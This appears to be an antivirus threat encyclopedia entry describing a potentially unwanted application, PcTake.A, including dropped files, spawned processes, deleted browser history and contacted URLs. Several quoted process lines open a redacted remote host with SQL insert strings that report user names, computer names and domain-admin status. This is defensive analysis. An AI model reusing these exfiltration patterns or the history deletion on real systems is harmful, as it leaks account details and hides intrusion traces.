PUA.MSIL.PcTake.A

This Potentially Unwanted Application arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Potentially Unwanted Application arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Potentially Unwanted Application drops the following files:

• %User Temp%\~DF{random characters}
• %AppDataLocal%\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{GUID}.dat
• %System Root%\tmp
• %AppDataLocal%\Microsoft\Internet Explorer\Recovery\High\Active\{GUID}.dat
• %Temporary Internet Files%\Content.IE5\0S3ALP6V\favicon[2].ico
• %AppDataLocalLow%\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
• %AppDataLocal%\Microsoft\Windows\History\History.IE5\MSHist012022051820220519\index.dat

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %Temporary Internet Files% is the Temporary Internet Files folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temporary Internet Files on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Microsoft\Windows\Temporary Internet Files on Windows Vista, 7 and 2008(64-bit), or C:\Users\{user name}\AppData\Local\Microsoft\Windows\INetCache on Windows 8, 8.1, 2012(64-bit) and 10(64-bit).. %AppDataLocalLow% is the LocalLow Application Data folder, which is usually C:\Users\{user name}\AppData\LocalLow on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

• "%Program Files%\Internet Explorer\IEXPLORE.EXE" http://{BLOCKED}uto/intodb.asp?sql=insert into Tlocadmpwduid values('{User Name}','{Computer Name}','Add domain admins success',default)
• cmd /c ping {Computer Name} > c:\tmp
• ping {Computer Name}
• "%Program Files%\Internet Explorer\IEXPLORE.EXE" SCODEF:{PID} CREDAT:14337
• "%Program Files%\Internet Explorer\IEXPLORE.EXE" http://{BLOCKED}uto/intodb.asp?sql=insert into Tlocadmpctaking values('{Computer Name}','{Computer Name}\Administrator','{User Name}','fe80',default)
• "%Program Files%\Internet Explorer\IEXPLORE.EXE" http://{BLOCKED}uto/intodb.asp?sql=insert into Tlocadmpctaking values('{Computer Name}','{Computer Name}\{User Name}','{User Name}','fe80',default)
• "%Program Files%\Internet Explorer\IEXPLORE.EXE" http://{BLOCKED}uto/intodb.asp?sql=insert into Tlocadmpwduid values('{User Name}','{Computer Name}','RESET Fail > Automation error',default)

Other System Modifications

This Potentially Unwanted Application deletes the following files:

• %AppDataLocal%\Microsoft\Windows\History\History.IE5\MSHist012022051820220519\index.dat

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It deletes the following folders:

• %AppDataLocal%\Microsoft\Windows\History\History.IE5\MSHist012022051820220519

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Potentially Unwanted Application adds the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
5.0\Cache\Extensible Cache\
MSHist012022051820220519 → deleted afterwards

It connects to the following possibly malicious URL:

• http://{BLOCKED}uto/intodb.asp?sql=insert%20into%20Tlocadmpwduid%20values('{User Name}','{Computer Name}','Add%20domain%20admins%20success',default)
• http://{BLOCKED}uto/intodb.asp?sql=insert%20into%20Tlocadmpctaking%20values('{Computer Name}','{Computer Name}\Administrator','{User Name}','fe80',default)
• http://{BLOCKED}uto/intodb.asp?sql=insert%20into%20Tlocadmpctaking%20values('{Computer Name}','{Computer Name}\{User Name}','{User Name}','fe80',default)
• http://{BLOCKED}uto/intodb.asp?sql=insert%20into%20Tlocadmpwduid%20values('{User Name}','{Computer Name}','RESET%20Fail%20>%20Automation%20error',default)
• http://{BLOCKED}avicon.ico